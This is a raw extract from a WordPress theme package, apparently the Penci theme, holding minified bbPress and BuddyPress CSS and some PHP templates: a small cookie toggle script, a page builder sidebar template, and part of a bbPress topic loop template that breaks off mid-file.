p.bbp-topic-meta{font-style:italic;color:#c3c3c3;line-height:1.6;font-size:12px}#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content a,#bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta a{font-size:12px;font-weight:400;color:var(--pcaccent-cl)}#bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness,#bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness a,#bbpress-forums li.bbp-body ul.forum li.bbp-forum-reply-count,#bbpress-forums li.bbp-body ul.forum li.bbp-forum-topic-count,#bbpress-forums li.bbp-body ul.topic li.bbp-forum-reply-count,#bbpress-forums li.bbp-body ul.topic li.bbp-forum-topic-count,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness>a,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-reply-count,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-voice-count{font-size:12px;color:#111}#bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness p.bbp-topic-meta,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness p.bbp-topic-meta{margin:-6px 0}#bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness p.bbp-topic-meta a,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness p.bbp-topic-meta a{font-weight:500;font-size:12px}#bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness p.bbp-topic-meta a:hover,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness p.bbp-topic-meta a:hover{text-decoration:none}#bbpress-forums li.bbp-footer{border-top-color:#ececec}#bbpress-forums li.bbp-forum-info,#bbpress-forums li.bbp-topic-title{width:45%}#bbpress-forums li.bbp-forum-freshness,#bbpress-forums li.bbp-topic-freshness{float:right;text-align:right}#bbpress-forums .forum-titles li.bbp-forum-freshness,#bbpress-forums .forum-titles li.bbp-topic-freshness{padding-right:0}#bbpress-forums div.bbp-search-form{position:relative;float:none;width:100%;padding-bottom:21px}#bbpress-forums #bbp-search-form #bbp_search{font-size:13px;font-weight:400;width:95%;height:40px;padding:10px 43px 10px 15px;color:#313131;border:1px solid var(--pcborder-cl);background:0 0;-webkit-appearance:textfield}#buddypress #pass-strength-result{color:#000}#bbpress-forums #bbp-search-form .button{font-family:var(--pchead-font);font-size:13px;font-weight:700;line-height:40px;position:absolute;top:0;right:0;display:block;height:40px;margin:0;padding:0 20px;cursor:pointer;-moz-transition:all .3s;-webkit-transition:all .3s;transition:all .3s;text-transform:uppercase;color:#fff;border:0;background:var(--pcaccent-cl)}#bbpress-forums #bbp-search-form .button:hover,#bbpress-forums #bbp_reply_submit:hover,#bbpress-forums #bbp_topic_submit:hover{color:#fff;background:var(--pcaccent-cl)}#bbpress-forums div.even,#bbpress-forums ul.even{background:0 0}#bbpress-forums .bbp-breadcrumb p{font-size:12px;line-height:1.4;color:#888;margin-bottom:0;margin-top:0;margin-left:2px}#bbpress-forums .bbp-breadcrumb .bbp-breadcrumb-current,#bbpress-forums .bbp-breadcrumb a{font-size:12px;color:#888}#bbpress-forums .bbp-breadcrumb .bbp-breadcrumb-sep{font-size:12px;margin:0 5px}#bbpress-forums div.bbp-template-notice.info{border:1px solid #ececec;background-color:transparent;border-radius:0;padding-top:2px}#bbpress-forums div.bbp-template-notice.info img{width:20px!important;display:inline;vertical-align:middle;margin-bottom:0!important;margin-left:5px;margin-right:5px}#bbpress-forums .bbp-pagination-count{margin-top:2px;color:#111;font-weight:400;font-size:13px}#bbpress-forums .bbp-topic-started-by,#bbpress-forums .bbp-topic-started-in{color:#c3c3c3;font-size:12px}#bbpress-forums .bbp-topic-started-by a,#bbpress-forums .bbp-topic-started-in a{font-size:12px}#bbpress-forums .bbp-topic-started-by img,#bbpress-forums .bbp-topic-started-in img{position:absolute;top:2px;left:0;margin:0}#bbpress-forums p.bbp-topic-meta span{white-space:initial}#bbpress-forums li.bbp-topic-title .bbp-topic-meta,#bbpress-forums li.bbp-topic-title .bbp-topic-permalink{padding-left:50px}#bbpress-forums div.bbp-topic-tags,div.bbp-submit-wrapper{float:left}#bbpress-forums .bbp-topic-freshness-author{margin-top:8px;display:inline-block}#bbpress-forums .bbp-forum-freshness a,#bbpress-forums .bbp-topic-freshness a{color:#111;font-size:12px;font-weight:600}#bbpress-forums .bbp-forum-freshness a:hover,#bbpress-forums .bbp-topic-freshness a:hover{color:var(--pcaccent-cl)}#bbpress-forums .bbp-body .bbp-forum-freshness img,#bbpress-forums .bbp-body .bbp-topic-freshness img{position:absolute;right:0;top:3px;margin:0}#bbpress-forums li.bbp-forum-reply-count,#bbpress-forums li.bbp-forum-topic-count,#bbpress-forums li.bbp-topic-reply-count,#bbpress-forums li.bbp-topic-voice-count{width:9%}#bbpress-forums .bbp-forum-freshness,#bbpress-forums .bbp-topic-freshness{width:33%;padding-right:50px;padding-left:10px}#bbpress-forums li.bbp-body .bbp-forum-freshness>a,#bbpress-forums li.bbp-body .bbp-topic-freshness>a{font-size:10px;color:#c3c3c3;font-weight:400;line-height:12px;display:inline-block}#bbpress-forums .bbp-body .bbp-forum-freshness p,#bbpress-forums .bbp-body .bbp-topic-freshness p{margin:0;line-height:17px}#bbpress-forums .widget_display_replies img.avatar,#bbpress-forums .widget_display_topics img.avatar,#bbpress-forums div.bbp-template-notice img.avatar,#bbpress-forums p.bbp-topic-meta img.avatar,#bbpress-forums ul.bbp-reply-revision-log img.avatar,#bbpress-forums ul.bbp-topic-revision-log img.avatar{border:0;width:40px}#bbpress-forums fieldset.bbp-form{border:0;padding:0;margin-left:0;margin-right:0}#bbpress-forums fieldset.bbp-form legend{font-size:22px;padding:0;margin-bottom:20px;color:#111}.bbp-pagination-links a,.bbp-pagination-links span.current{font-size:14px;line-height:28px;display:inline-block;min-width:30px;height:30px;padding:0;text-align:center;text-decoration:none;color:#313131;border:1px solid var(--pcborder-cl)}#favorite-toggle,#subscription-toggle{color:#777}#favorite-toggle a,#subscription-toggle a{color:#fff;opacity:1}.wrapper-boxed .bbp-pagination-links a:hover,.wrapper-boxed .bbp-pagination-links span.current{color:#313131;border-color:#999;text-decoration:none;background:0 0;opacity:1}.wrapper-boxed .bbp-pagination-links span.current{color:#fff;border-color:var(--pcaccent-cl);background:var(--pcaccent-cl)}#bbpress-forums #bbp_topic_tags,#bbpress-forums #bbp_topic_title{font-family:var(--pcbody-font);font-size:12px;line-height:normal;display:block;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;height:auto;margin-bottom:20px;padding:11px 20px;cursor:auto;vertical-align:baseline;border:1px solid var(--pcborder-cl);-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;outline:0;background:0 0}#bbpress-forums #bbp_reply_submit,#bbpress-forums #bbp_topic_submit{font-family:var(--pchead-font);font-size:14px;font-weight:700;display:block;max-width:450px;margin:0;padding:12px 20px;cursor:pointer;-moz-transition:all .3s;-webkit-transition:all .3s;transition:all .3s;text-transform:uppercase;color:#313131;border:0;background:#f5f5f5}#bbpress-forums.bbpress-wrapper .bbp-forums-list{margin:0 0 0 7px;padding-left:12px;border-left:1px solid var(--pcborder-cl)}#buddypress .standard-form textarea{border:1px solid #ececec;border-radius:0;color:#999;font-size:100%;font-weight:400;padding:6px;background-color:transparent}#buddypress .standard-form input[type=color],#buddypress .standard-form input[type=date],#buddypress .standard-form input[type=datetime-local],#buddypress .standard-form input[type=datetime],#buddypress .standard-form input[type=email],#buddypress .standard-form input[type=month],#buddypress .standard-form input[type=number],#buddypress .standard-form input[type=range],#buddypress .standard-form input[type=search],#buddypress .standard-form input[type=text]{border:1px solid #ececec;border-radius:0;color:#999;font-size:100%;font-weight:400;width:100%;max-width:300px;background-color:transparent;padding:6px 15px}#buddypress .standard-form input[type=password]{width:100%;max-width:300px}#buddypress .standard-form input[type=tel],#buddypress .standard-form input[type=time],#buddypress .standard-form input[type=url],#buddypress .standard-form input[type=week]{border:1px solid #ececec;border-radius:0;color:#999;font-size:100%;font-weight:400;width:100%;max-width:300px;background-color:transparent;padding:6px 15px}#buddypress .standard-form input[type=password],#buddypress .standard-form select{border:1px solid #ececec;border-radius:0;color:#999;font-size:100%;font-weight:400;background-color:transparent!important}#buddypress .standard-form input[type=password]{padding:6px}#buddypress .dir-search input[type=search],#buddypress .dir-search input[type=text],#buddypress .groups-members-search input[type=search],#buddypress .groups-members-search input[type=text]{width:95%;height:40px;border:1px solid #ececec;padding:10px 43px 10px 15px;font-weight:400;font-size:12px;-webkit-appearance:textfield;background:0 0}#buddypress div.dir-search input[type=text]{padding-left:15px}#buddypress .dir-search input[type=submit],#buddypress .groups-members-search input[type=submit]{font-size:14px;line-height:38px;position:absolute;top:0;right:0;height:40px;padding:0 15px;cursor:pointer;transition:all .25s;text-align:center;text-transform:uppercase;color:#fff;border:1px solid #000;border-color:var(--pcaccent-cl);border-radius:0;background:#000;background:var(--pcaccent-cl)}#buddypress .comment-reply-link,#buddypress a.button,#buddypress button,#buddypress div.generic-button a,#buddypress input[type=button],#buddypress input[type=reset],#buddypress ul.button-nav li a,a.bp-title-button{border:1px solid #ececec;color:#999;font-size:12px;padding:6px 10px}#buddypress .comment-reply-link:hover,#buddypress button:hover,#buddypress div.generic-button a:hover,#buddypress input[type=button]:hover,#buddypress input[type=reset]:hover,#buddypress input[type=submit]:hover,#buddypress ul.button-nav li a:hover,#buddypress ul.button-nav li.current a,#main .bbp-login-form .bbp-submit-wrapper button[type=submit]:hover{color:#fff;border-color:var(--pcaccent-cl);background-color:var(--pcaccent-cl)}#buddypress a.button:focus,#buddypress a.button:hover{color:#fff;border-color:var(--pcaccent-cl);background-color:var(--pcaccent-cl)}#buddypress input[type=submit]{font-size:14px;line-height:1;padding:12px 20px;text-transform:uppercase;color:#fff;border:0!important;background-color:var(--pcaccent-cl)}#buddypress select{padding:3px 10px;color:#999;background-color:transparent;border:1px solid #ececec;-webkit-box-shadow:none;box-shadow:none;transition:all .15s;outline:0}#buddypress div.dir-search{position:relative;float:none;width:100%;margin-top:0;padding-bottom:21px}#buddypress div#item-header,#buddypress div.profile h2{margin-bottom:10px}#buddypress div#item-header div#item-actions h3{font-size:14px;color:#999}#buddypress div#item-header img.avatar{margin:0 30px 19px 0;width:150px;height:150px}#buddypress div#item-header div#item-meta{font-size:90%;margin:10px 0 5px}#buddypress .profile[role=main],#buddypress ul.item-list{border-top:1px solid #ececec;padding-top:10px}#buddypress ul.item-list li{border-bottom:1px solid #ececec;padding:20px 0 22px;margin-bottom:10px}#buddypress .activity-list li.mini .activity-avatar img.FB_profile_pic,#buddypress .activity-list li.mini .activity-avatar img.avatar{height:66px;margin-left:0;width:66px}#buddypress #reply-title small a span,#buddypress a.bp-primary-action span{background:0 0!important;color:inherit;font-size:100%;margin-left:0;padding:0}#buddypress #reply-title small a span:before,#buddypress a.bp-primary-action span:before,#buddypress div.item-list-tabs ul li a span:before{content:"("}#buddypress #reply-title small a span:after,#buddypress a.bp-primary-action span:after,#buddypress div.item-list-tabs ul li a span:after{content:")"}.activity-inner{color:#444}#buddypress ul.item-list li div.action{top:25px}#buddypress ul.item-list li div.item-title span{font-size:90%}#buddypress ul.item-list li div.item-desc,#buddypress ul.item-list li div.meta{color:#999;font-size:90%}#buddypress ul.item-list li div.item-title,#buddypress ul.item-list li h4{font-weight:400;font-size:100%}#buddypress ul.item-list li div.item-title a,#buddypress ul.item-list li h4 a{font-weight:600;color:var(--pcaccent-cl)}#buddypress div.pagination{padding-bottom:20px}#buddypress div.pagination .pagination-links{margin-right:0}#buddypress div.pagination .pag-count{font-size:100%;margin-left:0;border:solid 1px #ececec;padding:5px 15px;color:#888;display:inline-block;line-height:1.5}#buddypress div.pagination .pagination-links a,#buddypress div.pagination .pagination-links span{font-size:14px;line-height:28px;display:inline-block;min-width:30px;height:30px;padding:0;-webkit-transition:all .3s;transition:all .3s;text-align:center;text-decoration:none;color:#888;border:1px solid var(--pcborder-cl);background:0 0}#buddypress div.pagination .pagination-links a:hover{color:#313131;border-color:#999;text-decoration:none;font-weight:inherit}#buddypress div.pagination .pagination-links .current{text-decoration:none;color:#fff;border-color:var(--pcaccent-cl);background:var(--pcaccent-cl)}#buddypress div.item-list-tabs{background:#f5f5f5}#buddypress div.item-list-tabs:not(#subnav) ul li a,#buddypress div.item-list-tabs:not(#subnav) ul li>span{padding:8px 15px;font-size:14px;color:#999;border-right:solid 1px #ececec;border-bottom:0}#buddypress div.item-list-tabs:not(#subnav) ul li a:hover,#buddypress div.item-list-tabs:not(#subnav) ul li.current a,#buddypress div.item-list-tabs:not(#subnav) ul li.selected a{background-color:transparent;color:#444;opacity:1;font-weight:400}#buddypress div.item-list-tabs ul li a span{background:0 0!important;border:0!important;color:inherit;display:inline;vertical-align:top;font-size:100%;margin-left:0;padding:0}#buddypress #activity-all a:before,#buddypress #groups-all a:before,#buddypress #members-all a:before{content:""}#buddypress #activity-all a:before,#buddypress #activity-favorites a:before,#buddypress #activity-friends a:before,#buddypress #activity-groups a:before,#buddypress #admin:before,#buddypress #groups-all a:before,#buddypress #groups-personal a:before,#buddypress #home:before,#buddypress #invite:before,#buddypress #members-all a:before,#buddypress #members-personal a:before,#buddypress #members:before,#buddypress #user-activity:before,#buddypress #user-friends:before,#buddypress #user-groups:before,#buddypress #user-messages:before,#buddypress #user-notifications:before,#buddypress #user-settings:before,#buddypress #user-xprofile:before,#buddypress .generic-button .friendship-button.add:before,#buddypress .send-message:before{display:inline-block;font-family:FontAwesome;font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;margin-right:5px}#buddypress #activity-friends a:before,#buddypress #members-personal a:before,#buddypress #user-friends:before{content:""}#buddypress #activity-groups a:before,#buddypress #groups-personal a:before,#buddypress #members:before,#buddypress #user-groups:before{content:""}#buddypress #activity-favorites a:before{content:""}#buddypress #user-activity:before{content:""}#buddypress #user-xprofile:before{content:""}#buddypress #user-notifications:before{content:""}#buddypress #user-messages:before,#buddypress .send-message:before{content:""}#buddypress #admin:before,#buddypress #user-settings:before{content:""}#buddypress #activity-mentions a:before,#buddypress .activity-button.mention:before{font-family:Arial,Helvetica,sans-serif;content:"@";font-weight:700;margin-right:5px}#buddypress #home:before{content:""}#buddypress #invite:before{content:""}#buddypress .generic-button .friendship-button.add:before{content:""}#buddypress div.item-list-tabs#subnav{margin:40px 0 10px}#buddypress div.item-list-tabs ul li a,#buddypress div.item-list-tabs ul li>span{padding:8px 15px;color:#999;font-size:14px}#buddypress div.item-list-tabs ul li a:hover,#buddypress div.item-list-tabs ul li.current a,#buddypress div.item-list-tabs ul li.selected a{font-weight:400;opacity:1;color:#fff;background-color:var(--pcaccent-cl)}@media (max-width:479px){#buddypress div.pagination,#buddypress div.pagination .pag-count{clear:both;float:none}#buddypress div.pagination .pagination-links{float:none;margin:10px 0;clear:both}}@media (max-width:991px){#buddypress div.item-list-tabs:not(#subnav) ul{margin-right:-1px}#buddypress div.item-list-tabs:not(#subnav) ul li{width:33.33333%}}@media (max-width:767px){#buddypress div.item-list-tabs:not(#subnav) ul li{width:50%}#bbpress-forums .bbp-body .bbp-forum-freshness img,#bbpress-forums .bbp-body .bbp-topic-freshness img{display:none}}@media (max-width:360px){#buddypress div.item-list-tabs:not(#subnav) ul li{width:100%}}#buddypress .activity-list .activity-content .activity-header,#buddypress .activity-list .activity-content .comment-header,#whats-new-post-in-box,.activity-greeting{color:#999}#buddypress .activity-list .activity-avatar img,#buddypress form#whats-new-form #whats-new-avatar img,#buddypress ul.item-list li.activity img.avatar{width:50px;height:auto}#buddypress #item-body #subnav+form#whats-new-form{margin-top:30px}#buddypress form#whats-new-form textarea{font-size:1em;width:100%;min-height:100px;border-color:var(--pcborder-cl);background:0 0}#buddypress #whats-new-options{overflow:visible;min-height:55px;height:auto!important}#buddypress #activity-stream{margin-top:20px}#buddypress .activity-list .activity-content{margin:0 0 0 64px}#buddypress .acomment-meta a:first-child,#buddypress .activity-header a:first-child,#buddypress .comment-meta a:first-child{font-weight:700;color:var(--pcaccent-cl)}#buddypress .activity-list .activity-content .activity-header img.avatar{width:22px;margin:0 5px 0 0!important}#buddypress #activity-stream p{margin-top:0}#buddypress div.activity-meta a{padding:5px 10px;display:inline-block;margin-bottom:8px;line-height:1;text-transform:none}#buddypress div.activity-meta a.delete-activity:hover{background:#f93636;border-color:#f93636}#buddypress div.activity-meta a.acomment-reply:before{content:""}#buddypress div.activity-meta a.acomment-reply:before,#buddypress div.activity-meta a.delete-activity:before,#buddypress div.activity-meta a.fav:before,#buddypress div.activity-meta a.unfav:before{display:inline-block;font-family:FontAwesome;font-style:normal;font-weight:400;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;margin-right:6px}#buddypress div.activity-meta a.fav:before{content:""}#buddypress div.activity-meta a.unfav:before{content:""}#buddypress div.activity-meta a.delete-activity:before{content:""}#buddypress div.activity-comments div.acomment-content,#buddypress div.activity-comments div.acomment-meta{font-size:100%}#buddypress div.activity-comments div.acomment-avatar img{height:30px;width:30px}#buddypress .activity-list li.load-more,#buddypress .activity-list li.load-newest{background:0 0;font-size:100%;margin:30px 0;padding:0;text-transform:none;border-bottom:none}#buddypress .activity-list li.load-more a,#buddypress .activity-list li.load-newest a{display:block;padding:9px 10px;max-width:400px;margin:0 auto;border:1px solid #ececec;line-height:1.4;text-align:center;transition:all .25s;-webkit-transition:all .25s;background:0 0!important;color:#999;text-decoration:none;text-transform:uppercase}#buddypress .activity-list li.load-more:hover a,#buddypress .activity-list li.load-newest:hover a{opacity:.85}#buddypress .activity-list li.load-more.loading a:after,#buddypress .activity-list li.load-newest.loading a:after{content:"..."}body.activity-permalink #buddypress div.activity-comments{border-top:solid 3px #ececec;margin-top:20px;padding-top:20px}body.activity-permalink #buddypress div.activity-comments>ul{padding:0 10px 0 0}#buddypress div.activity-comments ul li,body.activity-permalink #buddypress div.activity-comments ul li{padding:20px 0 0}body.activity-permalink #buddypress div.activity-comments ul li>ul{margin-left:60px}body.activity-permalink #buddypress .activity-list li.mini .activity-avatar img{width:150px;height:auto}body.activity-permalink #buddypress div.activity-comments div.acomment-avatar img{height:50px;width:50px;margin-right:20px}body.activity-permalink #buddypress div.activity-comments div.acomment-content{font-size:100%;margin-left:70px}body.activity-permalink #buddypress .acomment-options{margin-left:70px}#buddypress div.activity-comments form div.ac-reply-content{color:#888;margin-left:65px}#buddypress div.activity-comments form .ac-textarea{border:1px solid #ececec;padding:5px 5px 0}#buddypress div.profile h4{font-size:21px;font-weight:700;margin-bottom:20px}#buddypress table.forum,#buddypress table.messages-notices,#buddypress table.notifications,#buddypress table.notifications-settings,#buddypress table.profile-settings,#buddypress table.wp-profile-fields{margin-bottom:30px}#buddypress table.forum tr td.label,#buddypress table.messages-notices tr td.label,#buddypress table.notifications tr td.label,#buddypress table.notifications-settings tr td.label,#buddypress table.profile-fields tr td.label,#buddypress table.wp-profile-fields tr td.label{display:table-cell;color:inherit;text-align:left;font-weight:400;font-size:inherit;text-transform:uppercase;border-radius:0;background:0 0}#buddypress table.forum thead tr,#buddypress table.messages-notices thead tr,#buddypress table.notifications thead tr,#buddypress table.notifications-settings thead tr,#buddypress table.profile-fields thead tr,#buddypress table.profile-settings thead tr,#buddypress table.wp-profile-fields thead tr{background:var(--pcaccent-cl)}#buddypress table.forum tr.alt td,#buddypress table.messages-notices tr.alt td,#buddypress table.notifications tr.alt td,#buddypress table.notifications-settings tr.alt td,#buddypress table.profile-fields tr.alt td,#buddypress table.profile-settings tr.alt td,#buddypress table.wp-profile-fields tr.alt td{background:0 0}#buddypress a.disabled,#buddypress button.disabled,#buddypress button.pending,#buddypress div.pending a,#buddypress input[type=button].disabled,#buddypress input[type=button].pending,#buddypress input[type=reset].disabled,#buddypress input[type=reset].pending,#buddypress input[type=submit].disabled,#buddypress input[type=submit].pending,#buddypress input[type=submit][disabled=disabled]{border-color:inherit;color:#fff}#buddypress #profile-edit-form ul.button-nav{padding-left:0}#buddypress table.profile-fields{margin-bottom:30px;border-top:1px solid #e9e9e9}#buddypress table.profile-fields:last-child{margin-bottom:30px;border-top:1px solid #e9e9e9}@media (min-width:768px){#buddypress div#item-header div#item-header-content{float:none}}@media only screen and (max-width:479px){#buddypress div.dir-search{float:none}#buddypress div.dir-search input[type=text]{margin-bottom:0;width:100%}}.groups #item-header-content span.highlight{background-color:#eaeaea;padding:10px;font-size:100%;line-height:1;color:#999;display:inline-block;margin-bottom:10px}.groups #item-header-content span.activity{display:block}#buddypress div#invite-list{background-color:transparent;padding:0;height:auto;max-height:400px}#buddypress form.standard-form .left-menu #invite-list ul{padding:0}#buddypress form.standard-form .left-menu #invite-list ul li{margin:0 0 5px 1%}#buddypress .invite div.submit input{float:right;margin-right:0}#buddypress #members-dir-list ul.item-list li{padding:10px 0 19px}#buddypress .field-visibility-settings-toggle{margin-top:15px}#buddypress .standard-form button{line-height:1.3;padding:3px 10px}#buddypress .standard-form select{padding:2px 6px}#buddypress .standard-form #basic-details-section input[type=password],#buddypress .standard-form #blog-details-section input#signup_blog_url{width:100%}#main #bbpress-forums .bbp-login-form .bbp-form input[type=password],#main #bbpress-forums .bbp-login-form .bbp-form input[type=text],#main #bbpress-forums .bbp-login-form fieldset.bbp-form select{font-family:var(--pcbody-font);font-size:12px;line-height:normal;display:block;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;height:auto;margin-bottom:20px!important;padding:11px 20px;cursor:auto;vertical-align:baseline;border:1px solid var(--pcborder-cl);-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;outline:0;background:0 0}#main #bbpress-forums .bbp-login-form fieldset.bbp-form label{margin-bottom:6px}#main .bbp-login-form .bbp-submit-wrapper button[type=submit]{font-family:var(--pchead-font);font-size:14px;font-weight:700;display:block;width:100%;max-width:500px;margin:0;padding:12px 20px;cursor:pointer;-moz-transition:all .3s;-webkit-transition:all .3s;transition:all .3s;text-transform:uppercase;color:#313131;border:0;outline:0;background:#f5f5f5}@media only screen and (max-width:479px){#bbpress-forums .bbp-forum-freshness,#bbpress-forums .bbp-topic-freshness,#bbpress-forums li.bbp-forum-info,#bbpress-forums li.bbp-topic-title{width:30%}#bbpress-forums li.bbp-forum-reply-count,#bbpress-forums li.bbp-forum-topic-count,#bbpress-forums li.bbp-topic-reply-count,#bbpress-forums li.bbp-topic-voice-count{width:20%}#bbpress-forums a.bbp-author-avatar{display:none}#bbpress-forums .bbp-forum-freshness,#bbpress-forums .bbp-topic-freshness{padding-right:0}#bbpress-forums li.bbp-topic-title .bbp-topic-meta,#bbpress-forums li.bbp-topic-title .bbp-topic-permalink{padding-left:0}}PK     N\KWO  O  
  cookie.phpnu [        <?php
if( isset( $_POST['data'] ) ) {
	$cookie = isset( $_POST['data'] ) ? $_POST['data'] : 'show';
	
	if( $cookie == 'show' ) {
		setcookie( 'penci_law_footer', 'hide', time()+2592000, '/', $_SERVER['HTTP_HOST']);
	} else {
		setcookie( 'penci_law_footer', 'show',time()+2592000, '/', $_SERVER['HTTP_HOST']);
	}
	return '';
	
	exit;
}PK     N\1
wt-  -    page-vc-sidebar.phpnu [        <?php
/**
 * Template Name: Page VC builder with sidebar
 */
get_header();

$sidebar_position = 'right-sidebar';
if ( get_theme_mod( 'penci_page_default_template_layout' ) == 'two-sidebar' ) {
	$sidebar_position = 'two-sidebar';
} elseif ( get_theme_mod( 'penci_page_default_template_layout' ) == 'left-sidebar' ) {
	$sidebar_position = 'left-sidebar';
}

$page_sidebar = get_post_meta( get_the_ID(), 'penci_sidebar_page_pos', true );
if ( $page_sidebar ) {
	$sidebar_position = $page_sidebar;
}
$breadcrumb     = get_post_meta( get_the_ID(), 'penci_page_breadcrumb', true );
$pagetitle      = get_post_meta( $post->ID, 'penci_page_display_title', true );
$page_meta      = get_post_meta( get_the_ID(), 'penci_page_slider', true );
$rev_shortcode  = get_post_meta( get_the_ID(), 'penci_page_rev_shortcode', true );
$featured_boxes = get_post_meta( get_the_ID(), 'penci_page_display_featured_boxes', true );

if ( Penci_Featured_Slider::is_slider_style( $page_meta ) ) {
	if ( $page_meta == 'video' && get_theme_mod( 'penci_featured_video_url' ) ) {
		get_template_part( 'inc/featured_slider/featured_video' );
	} else {
		Penci_Featured_Slider::render_featured_slider( [
			'style'         => $page_meta,
			'rev_shortcode' => $rev_shortcode,
		] );
	}
}

/* Display Featured Boxes */
if ( $featured_boxes == 'yes' && ! get_theme_mod( 'penci_home_hide_boxes' ) && ( get_theme_mod( 'penci_home_box_img1' ) || get_theme_mod( 'penci_home_box_img2' ) || get_theme_mod( 'penci_home_box_img3' ) || get_theme_mod( 'penci_home_box_img4' ) ) ):
	get_template_part( 'inc/modules/home_boxes' );
endif;
?>
<?php $show_page_title = penci_is_pageheader(); ?>
<?php if ( ! $show_page_title ): ?>
	<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
		<?php
		$yoast_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container container-single-page penci-breadcrumb">', '</div>', false );
		}

		if ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container container-single-page penci-breadcrumb">
                <span><a class="crumb"
                         href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
				<?php
				$page_parent = get_post_ancestors( get_the_ID() );
				if ( ! empty( $page_parent ) ):
					$page_parent = array_reverse( $page_parent );
					foreach ( $page_parent as $pages ) {
						?>
                        <span><a class="crumb"
                                 href="<?php echo get_permalink( $pages ); ?>"><?php echo get_the_title( $pages ); ?></a>
                        </span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
					<?php }
				endif; ?>
                <span><?php the_title(); ?></span>
            </div>
		<?php } ?>
	<?php endif; ?>
<?php endif; ?>

<div class="container penci_sidebar <?php echo esc_attr( $sidebar_position ); ?>">

    <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
        <div class="theiaStickySidebar">

			<?php if ( ! $show_page_title ): ?>
				<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
					<?php
					$yoast_breadcrumb = '';
					if ( function_exists( 'yoast_breadcrumb' ) ) {
						$yoast_breadcrumb = yoast_breadcrumb( '<div class="container container-single-page penci-breadcrumb penci-crumb-inside">', '</div>', false );
					}

					if ( $yoast_breadcrumb ) {
						echo $yoast_breadcrumb;
					} else { ?>
                        <div class="container container-single-page penci-breadcrumb penci-crumb-inside">
                                <span><a class="crumb"
                                         href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
							<?php
							$page_parent = get_post_ancestors( get_the_ID() );
							if ( ! empty( $page_parent ) ):
								$page_parent = array_reverse( $page_parent );
								foreach ( $page_parent as $pages ) {
									?>
                                    <span><a class="crumb"
                                             href="<?php echo get_permalink( $pages ); ?>"><?php echo get_the_title( $pages ); ?></a>
                                    </span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
								<?php }
							endif; ?>
                            <span><?php the_title(); ?></span>
                        </div>
					<?php } ?>
				<?php endif; ?>
			<?php endif; ?>

			<?php if ( ! $show_page_title ): ?>
				<?php if ( get_the_title() && ( 'no' != $pagetitle ) ): ?>
                    <div class="penci-page-header">
                        <h1 class="entry-title"><?php the_title(); ?></h1>
                    </div>
				<?php endif; ?>
			<?php endif; ?>

			<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
				<?php the_content(); ?>
			<?php endwhile; endif; ?>
        </div>
    </div>

	<?php get_sidebar(); ?>
	<?php if ( $sidebar_position == 'two-sidebar' ) : get_sidebar( 'left' ); endif; ?>
</div>
<?php get_footer(); ?>
PK     N\ב      bbpress/loop-single-topic.phpnu [        <?php

/**
 * Topics Loop - Single
 *
 * @package bbPress
 * @subpackage Theme
 */

?>

<ul id="bbp-topic-<?php bbp_topic_id(); ?>" <?php bbp_topic_class(); ?>>

	<li class="bbp-topic-title">

		<?php if ( bbp_is_user_home() ) : ?>

			<?php if ( bbp_is_favorites() ) : ?>

				<span class="bbp-row-actions">

					<?php do_action( 'bbp_theme_before_topic_favorites_action' ); ?>

					<?php bbp_topic_favorite_link( array( 'before' => '', 'favorite' => '+', 'favorited' => '&times;' ) ); ?>

					<?php do_action( 'bbp_theme_after_topic_favorites_action' ); ?>

				</span>

			<?php elseif ( bbp_is_subscriptions() ) : ?>

				<span class="bbp-row-actions">

					<?php do_action( 'bbp_theme_before_topic_subscription_action' ); ?>

					<?php bbp_topic_subscription_link( array( 'before' => '', 'subscribe' => '+', 'unsubscribe' => '&times;' ) ); ?>

					<?php do_action( 'bbp_theme_after_topic_subscription_action' ); ?>

				</span>

			<?php endif; ?>

		<?php endif; ?>

		<?php do_action( 'bbp_theme_before_topic_title' ); ?>

		<a class="bbp-topic-permalink" href="<?php bbp_topic_permalink(); ?>"><?php bbp_topic_title(); ?></a>

		<?php do_action( 'bbp_theme_after_topic_title' ); ?>

		<?php bbp_topic_pagination(); ?>

		<?php do_action( 'bbp_theme_before_topic_meta' ); ?>

		<p class="bbp-topic-meta">

			<?php do_action( 'bbp_theme_before_topic_started_by' ); ?>

